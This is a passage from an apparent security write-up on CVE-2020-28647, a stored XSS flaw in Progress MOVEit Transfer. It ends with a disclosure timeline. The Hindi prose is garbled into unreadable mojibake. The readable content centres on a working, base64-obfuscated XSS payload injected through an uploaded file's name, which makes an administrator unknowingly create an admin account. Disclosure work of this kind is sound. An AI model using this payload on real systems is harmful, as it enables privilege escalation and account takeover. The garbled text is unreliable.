рдЕрдЧрд▓рд╛ рдХрджрдо рдЗрд╕ рдЕрдВрддрд┐рдо XSS рдкреЗрд▓реЛрдб рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмрд░реНрдк рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдирд╛рдо рдХреЛ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП XSS рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВред

root@kitploit:~
    
    
    t",1","1");var e="dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==";var d=atob(e);eval(d);a("t","t
    

рдПрдХ рдмрд╛рд░ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рд╡рд┐рд╡рд░рдг рдЦреЛрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ XSS рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдФрд░ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП Download рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдПрдХ рдирд┐рдореНрди-рд╕реНрддрд░реАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╣ рд╕реЗрдЯрдЕрдк рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд┐рд╕реА рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рдирд┐рдореНрди-рд╕реНрддрд░реАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЛ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддрд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

![](https://assets.kitploit.com/production/public/readmes/20305/ed8f968de369111579a141421224ae321e17eb02bfa80ae5fd3f6205c2b600c7.jpg)

рд╕рдордпрд░реЗрдЦрд╛

  * 05/08/2020 - рд╕рдорд╕реНрдпрд╛ рдХреА рд╕реВрдЪрдирд╛ рджреА рдЧрдИ
  * 08/08/2020 - рд╕рдорд╕реНрдпрд╛ рд╕рддреНрдпрд╛рдкрд┐рдд рд╣реБрдИ рдФрд░ рдЕрдЧрд▓реЗ рдкреНрд░рдореБрдЦ рд░рд┐рд▓реАрдЬрд╝ рдореЗрдВ рдЗрд╕реЗ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрдзрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛
  * 16/11/2020 - рдкреНрд░реЛрдЧреНрд░реЗрд╕ MOVEit рдПрдбрд╡рд╛рдЗрдЬрд░реА рдЬрд╛рд░реА рдХреА рдЧрдИ
  * 17/11/2020 - CVE-2020-28647 рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛